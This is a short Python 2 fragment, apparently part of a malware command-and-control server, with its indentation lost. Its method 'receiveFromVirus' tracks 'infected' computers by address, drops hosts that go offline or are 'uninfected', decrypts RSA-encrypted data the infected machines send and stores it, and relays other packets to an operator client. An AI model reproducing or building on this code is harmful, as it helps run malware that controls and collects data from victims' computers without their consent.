def receiveFromVirus(self,s,address):
while True:
pkt = Packet()
try:
pkt.construct(s)
except socket.error as error:
if error.errno == 10054 or error.errno == 104:
del self.toVirus[address[0]]
self.sendIPList()
print address[0] + " uninfected or turned computer off!"
break
else:
raise
if pkt.state == '100':
tup = self.toVirus[address[0]]
pkt.RSADecryptData(self.RSAPrivateKey)
self.toVirus[address[0]] = (tup[0],tup[1],pkt.data)
self.sendIPList()
else: self.enqueueToClient(pkt)
